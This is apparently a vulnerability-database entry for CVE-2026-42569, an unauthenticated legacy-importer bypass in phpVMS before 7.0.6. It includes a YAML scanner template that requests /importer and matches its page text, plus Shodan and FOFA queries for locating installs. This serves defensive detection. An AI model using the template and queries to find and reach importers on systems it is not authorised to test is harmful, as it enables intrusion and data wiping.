CVE-2026-42569: phpVMS < 7.0.6 - Legacy Importer Authorization Bypass

2026-05-14 phpVMS PoC Public

Description

phpVMS < 7.0.6 contains an authentication bypass caused by unauthenticated access to a legacy import feature, letting unauthenticated attackers access restricted functionality, exploit requires no special privileges.

PoC

id: CVE-2026-42569

info:
  name: phpVMS < 7.0.6 - Legacy Importer Authorization Bypass
  author: 0x_Akoko
  severity: critical
  description: |
   phpVMS < 7.0.6 contains an authentication bypass caused by unauthenticated access to a legacy import feature, letting unauthenticated attackers access restricted functionality, exploit requires no special privileges.
  impact: |
   Unauthenticated attackers can access restricted import functionality, potentially leading to unauthorized data manipulation or system compromise.
  remediation: |
   Update to version 7.0.6 or later.
  reference:
    - https://github.com/phpvms/phpvms/security/advisories/GHSA-fv26-4939-62fh
    - https://github.com/phpvms/phpvms/commit/f59ba8e0e8fc25c60c3faf14e526cfd49df3f7dc
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42569
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
    cvss-score: 9.4
    cve-id: CVE-2026-42569
    epss-score: 0.01323
    epss-percentile: 0.70015
    cwe-id: CWE-284,CWE-306,CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: phpvms
    product: phpvms
    shodan-query: http.html:"phpvms"
    fofa-query: app="phpVMS"
  tags: cve,cve2026,phpvms,auth-bypass,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/importer"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(to_lower(body), "importer", "phpvms")'
          - 'contains_any(body, "Import Configuration", "Database Config", "Start Importer", "WIPE OUT YOUR EXISTING DATA", "importer/config")'
        condition: and
# digest: 4a0a00473045022100c5e7b78c713221e3b0b67c19cbc55189484caa854c024ea930239a96f5abbbca02207393b228c338e015db419acd8da04b633cf3dd183e576fe7bb9da326120aad7c:922c64590222798bb761d5b6d8e72950

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References

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